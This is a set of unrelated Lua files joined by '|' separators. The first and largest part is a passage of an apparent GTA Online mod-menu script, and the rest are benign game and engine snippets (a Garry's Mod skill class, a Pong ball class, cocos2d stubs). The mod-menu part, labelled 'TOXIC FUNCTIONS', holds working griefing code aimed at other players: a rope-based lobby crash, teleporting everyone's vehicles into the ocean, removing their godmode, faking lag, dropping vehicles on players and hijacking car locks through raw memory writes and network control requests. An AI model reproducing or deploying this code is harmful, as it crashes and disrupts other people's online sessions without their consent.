local veh = VEHICLE.CREATE_VEHICLE(hashes[i], pcoords.x, pcoords.y, pcoords.z, math.random(0, 360), true, true, false)
for a = 1, 20 do NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh) end
VEHICLE.SET_VEHICLE_MOD_KIT(veh, 0)
for j = 0, 49 do
local mod = VEHICLE.GET_NUM_VEHICLE_MODS(veh, j) - 1
VEHICLE.SET_VEHICLE_MOD(veh, j, mod, true)
VEHICLE.TOGGLE_VEHICLE_MOD(veh, mod, true)
end
for j = 0, 20 do
if VEHICLE.DOES_EXTRA_EXIST(veh, j) then VEHICLE.SET_VEHICLE_EXTRA(veh, j, true) end
end
VEHICLE.SET_VEHICLE_TYRES_CAN_BURST(veh, false)
VEHICLE.SET_VEHICLE_WINDOW_TINT(veh, 1)
VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT_INDEX(veh, 1)
VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(veh, " ")
for ai = 1, 50 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
pcoords = getEntityCoords(getPlayerPed(pid))
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, pcoords.x, pcoords.y, pcoords.z, false, false, false)
util.yield()
end
vehicles[#vehicles+1] = veh
end)
end
wait(2000)
util.toast("finished.")
for _, v in pairs(vehicles) do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(v)
entities.delete_by_handle(v)
end
end
function RopeCrashLobby(pid)
PHYSICS.ROPE_LOAD_TEXTURES()
local hashes = {2132890591, 2727244247}
local pc = getEntityCoords(getPlayerPed(pid))
local veh = VEHICLE.CREATE_VEHICLE(hashes[i], pc.x + 5, pc.y, pc.z, 0, true, true, false)
local ped = PED.CREATE_PED(26, hashes[2], pc.x, pc.y, pc.z + 1, 0, true, false)
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
ENTITY.SET_ENTITY_VISIBLE(ped, false, 0)
ENTITY.SET_ENTITY_VISIBLE(veh, false, 0)
local rope = PHYSICS.ADD_ROPE(pc.x + 5, pc.y, pc.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1, true, 0)
local vehc = getEntityCoords(veh); local pedc = getEntityCoords(ped)
PHYSICS.ATTACH_ENTITIES_TO_ROPE(rope, veh, ped, vehc.x, vehc.y, vehc.z, pedc.x, pedc.y, pedc.z, 2, 0, 0, "Center", "Center")
wait(1000)
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
entities.delete_by_handle(veh); entities.delete_by_handle(ped)
PHYSICS.DELETE_CHILD_ROPE(rope)
PHYSICS.ROPE_UNLOAD_TEXTURES()
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- TOXIC FUNCTIONS END ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- OTHER LOBBY FEATURES START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function RemoveVehicleGodmodeForAll()
for i = 0, 31 do
if NETWORK.NETWORK_IS_PLAYER_CONNECTED(i) then
local ped = getPlayerPed(i)
if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
local veh = PED.GET_VEHICLE_PED_IS_IN(ped, false)
ENTITY.SET_ENTITY_CAN_BE_DAMAGED(veh, true)
ENTITY.SET_ENTITY_INVINCIBLE(veh, false)
end
end
end
end
VehTeleportLoadIterations = 20
function TeleportEveryonesVehicleToOcean()
local oldcoords = getEntityCoords(GetLocalPed())
for i = 0, 31 do
if NETWORK.NETWORK_IS_PLAYER_CONNECTED(i) then
local ped = getPlayerPed(i)
local pedCoords = getEntityCoords(ped)
for c = 0, VehTeleportLoadIterations do --teleports us to them so we load their veh
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), pedCoords.x, pedCoords.y, pedCoords.z + 10, false, false, false)
wait(100)
end
if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
local veh = PED.GET_VEHICLE_PED_IS_IN(ped, false)
for a = 0, 10 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, 4500, -4400, 4, false, false, false)
wait(100)
end
for b = 0, 10 do
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, 4500, -4400, 4, false, false, false)
end
end
end
end
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), oldcoords.x, oldcoords.y, oldcoords.z, false, false, false)
end
function TeleportEveryonesVehicleToMazeBank()
local oldcoords = getEntityCoords(GetLocalPed())
for i = 0, 31 do
if NETWORK.NETWORK_IS_PLAYER_CONNECTED(i) then
local pped = getPlayerPed(i)
local pedCoords = getEntityCoords(pped)
for c = 0, VehTeleportLoadIterations do --teleports us to them so we load their veh
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), pedCoords.x, pedCoords.y, pedCoords.z + 10, false, false, false)
wait(100)
end
if PED.IS_PED_IN_ANY_VEHICLE(pped, false) then
local veh = PED.GET_VEHICLE_PED_IS_IN(pped, false)
for a = 0, 10 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, -76, -819, 327, false, false, false)
wait(100)
end
for b = 0, 10 do
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, -76, -819, 327, false, false, false)
end
end
end
end
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), oldcoords.x, oldcoords.y, oldcoords.z, false, false, false)
end
function CheckLobbyForGodmode()
local godcount = 0
for i = 0, 31 do
if NETWORK.NETWORK_IS_PLAYER_CONNECTED(i) then
local pcoords = getEntityCoords(getPlayerPed(i))
if INTERIOR.GET_INTERIOR_AT_COORDS(pcoords.x, pcoords.y, pcoords.z) == 0 then --check for non-interior. Using native for less false flags.
if (not PLAYER.IS_PLAYER_READY_FOR_CUTSCENE(i)) and (not NETWORK.IS_PLAYER_IN_CUTSCENE(i)) then --check for cutscenes
if players.is_godmode(i) then --check the actual god
local pName = GetPlayerName_pid(i)
util.toast(pName .. " is in godmode!")
godcount = godcount + 1
wait(100)
end
end
end
end
end
util.toast(godcount .. " people in godmode!")
end
local join_ing = false
function CheckLobbyForPlayers()
local buffer = join_ing
join_ing = NETWORK.NETWORK_IS_SESSION_STARTED()
wait(2000)
local playersTable = players.list()
if buffer ~= join_ing then
for i = 1, 100 do
util.toast("Players in session: " .. #playersTable)
util.yield(10)
end
end
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- OTHER LOBBY FEATURES END ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- MISSILE SPEED FEATURES START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function SetVehicleMissileSpeed(value)
local offsets = {0x10D8, 0x70, 0x60, 0x58}
local addr = entities.handle_to_pointer(PLAYER.PLAYER_PED_ID())
for i = 1, (#offsets - 1) do
-- make sure not to read from/write to a null pointer
if addr == 0 then
-- got a null pointer at some point
return -1.0
end
addr = memory.read_long(addr + offsets[i])
end
addr = addr + offsets[#offsets]
if addr == 0 then
return -1.0
else
memory.write_float(addr, value)
--memory.read_float(addr)
end
end
function GetVehicleMissileSpeed()
local offsets = {0x10D8, 0x70, 0x60, 0x58}
local addr = entities.handle_to_pointer(PLAYER.PLAYER_PED_ID())
for i = 1, (#offsets - 1) do
-- make sure not to read from/write to a null pointer
if addr == 0 then
-- got a null pointer at some point
return -1.0
end
addr = memory.read_long(addr + offsets[i])
end
addr = addr + offsets[#offsets]
if addr == 0 then
return -1.0
else
return memory.read_float(addr)
end
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- MISSILE SPEED FEATURES END ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- VEHICLE FEATURES START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function GetClosestVehicleNodeWithHeading(x, y, z, nodeType)
local outpos = v3.new()
local outHeading = memory.alloc()
PATHFIND.GET_CLOSEST_VEHICLE_NODE_WITH_HEADING(x, y, z, outpos, outHeading, nodeType, 3.0, 0)
local pos = GetTableFromV3Instance(outpos); local heading = memory.read_float(outHeading)
memory.free(outHeading); v3.free(outpos); return pos, heading
end
function UpsideDownVehicleRotationWithKeys()
local veh = PED.GET_VEHICLE_PED_IS_IN(GetLocalPed(), false)
local vv = ENTITY.GET_ENTITY_ROTATION(veh, 2)
--Pitch: X || Roll: y || Yaw: z
local vvPitch = v3.getX(vv)
local vvRoll = v3.getY(vv)
local vvYaw = v3.getZ(vv)
ENTITY.SET_ENTITY_ROTATION(veh, 10, 179.5, vvYaw, 2, true)
--rotation logic (left-right || YAW)
if PAD.IS_CONTROL_PRESSED(0, 63) then --63 || INPUT_VEH_MOVE_LEFT_ONLY || A
local yawAfterPress = vvYaw + 3
if yawAfterPress > 180 then -- check for overflow
local overFlowNeg = math.abs(vvYaw)*-1 --negative bypass overflow
local toSetYaw = overFlowNeg + 3
ENTITY.SET_ENTITY_ROTATION(veh, 10 --[[10]], 179.5, toSetYaw, 2, true)
else --if not overflow
ENTITY.SET_ENTITY_ROTATION(veh, 10 --[[10]], 179.5, yawAfterPress, 2, true)
end
end
if PAD.IS_CONTROL_PRESSED(0, 64) then --64 ||INPUT_VEH_MOVE_RIGHT_ONLY || D
local yawAfterPress = vvYaw - 3
if yawAfterPress < -180 then -- check for overflow
local overFlowNeg = math.abs(vvYaw) --positive bypass overflow
local toSetYaw = overFlowNeg - 3
ENTITY.SET_ENTITY_ROTATION(veh, 10 --[[10]], 179.5, toSetYaw, 2, true)
else --if not overflow
ENTITY.SET_ENTITY_ROTATION(veh, 10 --[[10]], 179.5, yawAfterPress, 2, true)
end
end
if PAD.IS_CONTROL_PRESSED(0, 62) then --62 || INPUT_VEH_MOVE_DOWN_ONLY || LEFT CTRL / NUM5 (NOSE UP)
local pitchAfterPress = vvPitch + 5
if pitchAfterPress > 90 then --check for overflow
--if pitch = 89, we add 3, we will get 88 for pitch. Distance to 90, then sub the rest.
local pitchToSub = 90 - (3 - math.abs(90 - vvPitch))
ENTITY.SET_ENTITY_ROTATION(veh, pitchToSub, 179.9, vvYaw)
else
--if not overflowed, then we just add.
ENTITY.SET_ENTITY_ROTATION(veh, pitchAfterPress, 179.9, vvYaw)
end
end
v3.free(vv)
end
function FastTurnVehicleWithKeys(scale)
local veh = PED.GET_VEHICLE_PED_IS_IN(GetLocalPed(), false)
local vv = ENTITY.GET_ENTITY_ROTATION(veh, 2)
local velocity = ENTITY.GET_ENTITY_SPEED_VECTOR(veh, true).y
--Pitch: X || Roll: y || Yaw: z
local vvPitch = v3.getX(vv)
local vvRoll = v3.getY(vv)
local vvYaw = v3.getZ(vv)
if PAD.IS_CONTROL_PRESSED(0, 63) then --63 || INPUT_VEH_MOVE_LEFT_ONLY || A
--OLD LOGIC || if velocity > 0 then --if velocity is greater than 0, we do usual turning logic.
if PAD.IS_CONTROL_PRESSED(0, 71) or velocity > -0.1 then
local yawAfterPress = vvYaw + scale
if yawAfterPress > 180 then -- check for overflow
local overFlowNeg = math.abs(vvYaw)*-1 --negative bypass overflow
local toSetYaw = overFlowNeg + scale
ENTITY.SET_ENTITY_ROTATION(veh, vvPitch, vvRoll, toSetYaw, 2, true)
else --if not overflow
ENTITY.SET_ENTITY_ROTATION(veh, vvPitch, vvRoll, yawAfterPress, 2, true)
end
elseif PAD.IS_CONTROL_PRESSED(0, 72) or velocity < -0.1 then --if not, then we do opposite turning logic.
local yawAfterPress = vvYaw - scale
if yawAfterPress < -180 then -- check for overflow
local overFlowNeg = math.abs(vvYaw) --positive bypass overflow
local toSetYaw = overFlowNeg - scale
ENTITY.SET_ENTITY_ROTATION(veh, vvPitch, vvRoll, toSetYaw, 2, true)
else --if not overflow
ENTITY.SET_ENTITY_ROTATION(veh, vvPitch, vvRoll, yawAfterPress, 2, true)
end
end
end
if PAD.IS_CONTROL_PRESSED(0, 64) then --64 ||INPUT_VEH_MOVE_RIGHT_ONLY || D
--OLD LOGIC || if velocity > 0 then --if velocity is greater than 0, we do usual turning logic.
if PAD.IS_CONTROL_PRESSED(0, 71) or velocity > -0.1 then
local yawAfterPress = vvYaw - scale
if yawAfterPress < -180 then -- check for overflow
local overFlowNeg = math.abs(vvYaw) --positive bypass overflow
local toSetYaw = overFlowNeg - scale
ENTITY.SET_ENTITY_ROTATION(veh, vvPitch, vvRoll, toSetYaw, 2, true)
else --if not overflow
ENTITY.SET_ENTITY_ROTATION(veh, vvPitch, vvRoll, yawAfterPress, 2, true)
end
elseif PAD.IS_CONTROL_PRESSED(0, 72) or velocity < -0.1 then --if not, then we do opposite turning logic.
local yawAfterPress = vvYaw + scale
if yawAfterPress > 180 then -- check for overflow
local overFlowNeg = math.abs(vvYaw)*-1 --negative bypass overflow
local toSetYaw = overFlowNeg + scale
ENTITY.SET_ENTITY_ROTATION(veh, vvPitch, vvRoll, toSetYaw, 2, true)
else --if not overflow
ENTITY.SET_ENTITY_ROTATION(veh, vvPitch, vvRoll, yawAfterPress, 2, true)
end
end
end
v3.free(vv)
end
function UnlockVehicleShoot()
::start::
local localPed = GetLocalPed()
if PED.IS_PED_SHOOTING(localPed) then
local pointer = memory.alloc(4)
local isEntFound = PLAYER.GET_ENTITY_PLAYER_IS_FREE_AIMING_AT(players.user(), pointer)
if isEntFound then
local entity = memory.read_int(pointer)
if ENTITY.IS_ENTITY_A_PED(entity) and PED.IS_PED_IN_ANY_VEHICLE(entity) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(entity)
---------------------------------------------
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle)
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(vehicle) then
for i = 1, 20 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle)
wait(100)
end
end
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(vehicle) then
util.toast("Waited 2 secs, couldn't get control!")
goto start
else
util.toast("Has control.")
end
VEHICLE.SET_VEHICLE_DOORS_LOCKED(vehicle, 1)
VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_ALL_PLAYERS(vehicle, true)
VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_PLAYER(vehicle, players.user(), false)
elseif ENTITY.IS_ENTITY_A_VEHICLE(entity) then
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity)
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(entity) then
for i = 1, 20 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity)
wait(100)
end
end
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(entity) then
util.toast("Waited 2 secs, couldn't get control!")
memory.free(pointer)
goto start
else
if SE_Notifications then
util.toast("Has control.")
end
end
VEHICLE.SET_VEHICLE_DOORS_LOCKED(entity, 1)
VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_ALL_PLAYERS(entity, false)
VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_PLAYER(entity, players.user(), false)
VEHICLE.SET_VEHICLE_HAS_BEEN_OWNED_BY_PLAYER(veh, false)
end
end
memory.free(pointer)
end
end
function UnlockVehicleGetIn()
::start::
local localPed = GetLocalPed()
local veh = PED.GET_VEHICLE_PED_IS_TRYING_TO_ENTER(localPed)
if PED.IS_PED_IN_ANY_VEHICLE(localPed, false) then
local v = PED.GET_VEHICLE_PED_IS_IN(localPed, false)
VEHICLE.SET_VEHICLE_DOORS_LOCKED(v, 1)
VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_ALL_PLAYERS(v, false)
VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_PLAYER(v, players.user(), false)
wait()
else
if veh ~= 0 then
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(veh) then
for i = 1, 20 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
wait(100)
end
end
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(veh) then
util.toast("Waited 2 secs, couldn't get control!")
goto start
else
if SE_Notifications then
util.toast("Has control.")
end
end
VEHICLE.SET_VEHICLE_DOORS_LOCKED(veh, 1)
VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_ALL_PLAYERS(veh, false)
VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_PLAYER(veh, players.user(), false)
VEHICLE.SET_VEHICLE_HAS_BEEN_OWNED_BY_PLAYER(veh, false)
end
end
end
function TurnCarOnInstantly()
local localped = GetLocalPed()
if PED.IS_PED_GETTING_INTO_A_VEHICLE(localped) then
local veh = PED.GET_VEHICLE_PED_IS_ENTERING(localped)
if not VEHICLE.GET_IS_VEHICLE_ENGINE_RUNNING(veh) then
VEHICLE.SET_VEHICLE_FIXED(veh)
VEHICLE.SET_VEHICLE_ENGINE_HEALTH(veh, 1000)
VEHICLE.SET_VEHICLE_ENGINE_ON(veh, true, true, false)
end
if VEHICLE.GET_VEHICLE_CLASS(veh) == 15 then --15 is heli
VEHICLE.SET_HELI_BLADES_FULL_SPEED(veh)
end
end
end
function PlaceWallInFrontOfPlayer(pid)
local ped = getPlayerPed(pid)
local forwardOffset = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0, 4, 0)
local pheading = ENTITY.GET_ENTITY_HEADING(ped)
local hash = 309416120
requestModel(hash)
while not hasModelLoaded(hash) do wait() end
local a1 = OBJECT.CREATE_OBJECT(hash, forwardOffset.x, forwardOffset.y, forwardOffset.z - 1, true, true, true)
ENTITY.SET_ENTITY_HEADING(a1, pheading + 90)
FastNet(a1, pid)
local b1 = OBJECT.CREATE_OBJECT(hash, forwardOffset.x, forwardOffset.y, forwardOffset.z + 1, true, true, true)
ENTITY.SET_ENTITY_HEADING(b1, pheading + 90)
FastNet(b1, pid)
wait(500)
entities.delete_by_handle(a1)
entities.delete_by_handle(b1)
end
function DropVehicleOnPlayer(pid, name, invis)
local ped = getPlayerPed(pid)
local pc = getEntityCoords(ped)
local hash = joaat(name)
requestModel(hash)
while not hasModelLoaded(hash) do wait() end
local ourveh = VEHICLE.CREATE_VEHICLE(hash, pc.x, pc.y, pc.z + 5, 0, true, true, false)
if invis then
ENTITY.SET_ENTITY_VISIBLE(ourveh, false, 0)
end
noNeedModel(hash)
wait(1200)
entities.delete_by_handle(ourveh)
end
function TeleportPlayersVehicleToOcean(pid)
local ped = getPlayerPed(pid)
local pc = getEntityCoords(ped)
local oldcoords = getEntityCoords(GetLocalPed())
for o = 0, 10 do
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), pc.x, pc.y, pc.z + 10, false, false, false)
wait(50)
end
if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
local veh = PED.GET_VEHICLE_PED_IS_IN(ped, false)
for a = 0, 10 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, 4500, -4400, 4, false, false, false)
wait(100)
end
if SE_Notifications then
util.toast("Teleported " .. GetPlayerName_pid(pid) .. " into the farthest ocean!")
end
else
util.toast("Player " .. GetPlayerName_pid(pid) .. " is not in a vehicle!")
end
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), oldcoords.x, oldcoords.y, oldcoords.z, false, false, false)
end
function TeleportPlayersVehicleToMazeBank(pid)
local ped = getPlayerPed(pid)
local pc = getEntityCoords(ped)
local oldcoords = getEntityCoords(GetLocalPed())
for o = 0, 10 do
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), pc.x, pc.y, pc.z + 10, false, false, false)
wait(50)
end
if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
local veh = PED.GET_VEHICLE_PED_IS_IN(ped, false)
for a = 0, 10 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, -76, -819, 327, false, false, false)
wait(100)
end
if SE_Notifications then
util.toast("Teleported " .. GetPlayerName_pid(pid) .. " onto the Maze Bank tower!")
end
else
util.toast("Player " .. GetPlayerName_pid(pid) .. " is not in a vehicle!")
end
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), oldcoords.x, oldcoords.y, oldcoords.z, false, false, false)
end
function FakeLagPlayerVehicle(pid)
local ped = getPlayerPed(pid)
if PED.IS_PED_IN_ANY_VEHICLE(ped) then
local veh = PED.GET_VEHICLE_PED_IS_IN(ped, false)
local velocity = ENTITY.GET_ENTITY_VELOCITY(veh)
local oldcoords = getEntityCoords(ped)
wait(500)
local nowcoords = getEntityCoords(ped)
for a = 1, 10 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
wait()
end
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, oldcoords.x, oldcoords.y, oldcoords.z, false, false, false)
wait(200)
for b = 1, 10 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
wait()
end
ENTITY.SET_ENTITY_VELOCITY(veh, velocity.x, velocity.y, velocity.z)
for c = 1, 10 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
wait()
end
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, nowcoords.x, nowcoords.y, nowcoords.z, false, false, false)
for d = 1, 10 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
wait()
end
ENTITY.SET_ENTITY_VELOCITY(veh, velocity.x, velocity.y, velocity.z)
wait(500)
else
util.toast("Player " .. GetPlayerName_pid(pid) .. " is not in a vehicle!")
end
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- VEHICLE FEATURES END ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- TOOL FEATURES START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
local function tpTableToPlayer(tbl, pid)
if NETWORK.NETWORK_IS_PLAYER_CONNECTED(pid) then
local c = getEntityCoords(getPlayerPed(pid))
for _, v in pairs(tbl) do
if (not PED.IS_PED_A_PLAYER(v)) then
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(v, c.x, c.y, c.z, false, false, false)
end
end
end
end
function TpAllPeds(player)
local pedHandles = entities.get_all_peds_as_handles()
tpTableToPlayer(pedHandles, player)
end
function TpAllVehs(player)
local vehHandles = entities.get_all_vehicles_as_handles()
tpTableToPlayer(vehHandles, player)
end
function TpAllObjects(player)
local objHandles = entities.get_all_objects_as_handles()
tpTableToPlayer(objHandles, player)
end
function TpAllPickups(player)
local pickupHandles = entities.get_all_pickups_as_handles()
tpTableToPlayer(pickupHandles, player)
end
|
include("sh_skill.lua")
function Skill:Activate( caster, cleverData )
--if (self.cast > 0) then caster:SetCasting( self.cast ) end --SETCASTING USED TWICE TODO
local ent = self:CreateEntity( caster, cleverData )
if (self:GetCastUntilRelease()) then caster:SetCasting( self, true, ent ) end
caster:ApplyCooldown( self, self:GetCooldown() )
end
function Skill:Deactivate( ent )
if (!IsValid(ent)) then return end
--todo maybe call hook
ent:Remove()
ent:GetCaster():ApplyCooldown( self, self:GetCooldown() )
end
function Skill:CreateEntity( caster, cleverData )
local skillEnt = ents.Create("element_skill")
skillEnt:SetSkill( self )
skillEnt:SetCaster( caster )
if self:GetCastUntilRelease() then
skillEnt:SetMaxLive( caster:GetFuel( self ) )
else
skillEnt:SetMaxLive( self.maxlive )
end
skillEnt:SetName(self.name)
self:Spawn( skillEnt, caster, cleverData )
skillEnt:Spawn()
skill_manager.NewInstance( skillEnt )
return skillEnt
end
function Skill:CreateChildEntity( ent, offset, angle )
offset = offset or _VECTOR.ZERO
local skillChild = ents.Create("element_skillChild")
skillChild:SetName( self.name )
skillChild:SetPos( ent:GetPos() + offset )
if angle then skillChild:SetAngles(angle) end
skillChild:SetParent( ent, 0 )
skillChild:Spawn()
return skillChild
end
function Skill:Spawn( ent, caster )
end
function Skill:GenerateDamageInfo(ent, damage, type, velocity)
type = type or DMG_GENERIC
local dmg = DamageInfo()
dmg:SetDamageType(type)
dmg:SetInflictor(ent)
dmg:SetAttacker(ent:GetCaster())
if velocity then dmg:SetDamageForce(velocity) end
dmg:SetDamage(damage)
return dmg
end
function Skill:Hit( ent, victim, damage, type, velocity )
if !victim:IsPlayer() then return end
damage = damage or 0
local dmgType = skill_manager.GetDamageType(self:GetDamageType())
if (damage < 0 ) then
victim:Heal( -damage, dmgType )
return
end
local dmg = self:GenerateDamageInfo( ent, damage, type, velocity )
victim:TakeSkillDamage( dmg, dmgType )
end
function Skill:Dot( ent, victim, time, damage, rate, start )
local dot = {}
dot.rate = rate or 1
dot.start = start or CurTime()
dot.stop = dot.start + time
dot.nextHit = dot.start-- + dot.rate
dot.damage = damage
ent.dots[victim] = dot
end
function Skill:HandleDots( ent )
local now = CurTime()
for ply, dot in next, ent.dots do
if (now > dot.stop) then
if (dot.stop >= dot.nextHit) then
self:ApplyDotDamage(ent, ply, dot)
end
ent.dots[ply] = nil
continue
end
if (now > dot.nextHit) then
self:ApplyDotDamage(ent, ply, dot)
end
end
end
function Skill:ApplyDotDamage(ent, victim, dot)
local now = CurTime()
while (now > dot.nextHit) do
self:Hit( ent, victim, dot.damage, DMG_GENERIC )
dot.nextHit = dot.nextHit + dot.rate
end
end
|
array_operation = {"Разлици", "Збиру"}
|
--[[
File: Ball.lua
Author: Sam Triest
The Ball class allows for the creation of the ball object
that the players must deflect.
]]
Ball =
{
posX,
posY,
sizeX = 8,
sizeY = 8,
launchSpeed = 300,
dirX,
dirY
}
--[[
Instantiate a new ball object and assign it a position and size.
]]
function Ball:Create(posX, posY)
newObject = {}
setmetatable(newObject, self)
self.__index = self
newObject.posX = posX
newObject.posY = posY
return newObject
end
--[[
Draw the ball that calls this method to the screen.
This method should be called in love.draw().
]]
function Ball:Render()
love.graphics.rectangle("fill", self.posX, self.posY, self.sizeX, self.sizeY)
end
--[[
Set the ball's new direction. If a player scored, the ball's launch
direction will be towards him on the next serve, otherwise it will be random.
]]
function Ball:SetDirection(lastScoringPlayer)
-- Set the horizontal direction
if lastScoringPlayer == "left" then
self.dirX = -self.launchSpeed
elseif lastScoringPlayer == "right" then
self.dirX = self.launchSpeed
else
-- Random direction
if love.math.random(0, 1) == 1 then
self.dirX = -self.launchSpeed
else
self.dirX = self.launchSpeed
end
end
-- Set the vertical direction
self.dirY = love.math.random(-self.launchSpeed, self.launchSpeed) / 2
end
--[[
Reset the ball to the middle of the screen.
]]
function Ball:ResetPos(startPos)
self.posX = startPos.x
self.posY = startPos.y
end
--[[
Move the ball's position by its direction, multiplied by delta time.
This ensures its movement remains framerate independent. The speed of
the ball can vary depending on its angle. It will move faster diagonally,
as its movement is not normalized. This is intentional, to add some variation.
Check for top and bottom collision as well. If the ball collides with the
top or bottom edge, it will bounce with a small amount of random variation.
]]
function Ball:Move(dt)
self.posX = self.posX + self.dirX * dt
self.posY = self.posY + self.dirY * dt
-- Top edge collision check
if self.posY < 0 then
self.posY = 0
self.dirY = -self.dirY + love.math.random(-100, 100)
-- Bottom edge collision check
elseif self.posY > WINDOW_HEIGHT - self.sizeY then
self.posY = WINDOW_HEIGHT - self.sizeY
self.dirY = -self.dirY + love.math.random(-100, 100)
end
end
--[[
Check whether or not the ball has collided with the paddle.
]]
function Ball:Collide(paddle)
if self.posX > paddle.posX + paddle.sizeX or
self.posX + self.sizeX < paddle.posX then
return false
end
if self.posY > paddle.posY + paddle.sizeY or
self.posY + self.sizeY < paddle.posY then
return false
end
return true
end
|
PLUGIN.name = "FactionNPC"
PLUGIN.description = "Adds NPC Relations to Factions"
PLUGIN.author = "Zenolisk"
ix.util.Include("sv_hooks.lua")
|
---@meta
---@class cc.PhysicsJoint
local PhysicsJoint={ }
cc.PhysicsJoint=PhysicsJoint
---* Get physics body a connected to this joint.
---@return cc.PhysicsBody
function PhysicsJoint:getBodyA () end
---* Get physics body b connected to this joint.
---@return cc.PhysicsBody
function PhysicsJoint:getBodyB () end
---* Get the max force setting.
---@return float
function PhysicsJoint:getMaxForce () end
---* Set the max force between two bodies.
---@param force float
---@return self
function PhysicsJoint:setMaxForce (force) end
---* Determines if the joint is enable.
---@return boolean
function PhysicsJoint:isEnabled () end
---* Enable/Disable the joint.
---@param enable boolean
---@return self
function PhysicsJoint:setEnable (enable) end
---* Enable/disable the collision between two bodies.
---@param enable boolean
---@return self
function PhysicsJoint:setCollisionEnable (enable) end
---* Get the physics world.
---@return cc.PhysicsWorld
function PhysicsJoint:getWorld () end
---* Set this joint's tag.<br>
---* param tag An integer number that identifies a PhysicsJoint.
---@param tag int
---@return self
function PhysicsJoint:setTag (tag) end
---* Remove the joint from the world.
---@return self
function PhysicsJoint:removeFormWorld () end
---* Determines if the collision is enable.
---@return boolean
function PhysicsJoint:isCollisionEnabled () end
---* Get this joint's tag.<br>
---* return An integer number.
---@return int
function PhysicsJoint:getTag () end
|
local FS = require('fs')
local Timer = require('timer')
local FFI = require('ffi')
local Debug = require('debug')
local Math = require('math')
local SDL = require('./sdl')
local Bit = require('bit')
p("SDL", SDL)
local Rect = FFI.metatype("SDL_Rect", {})
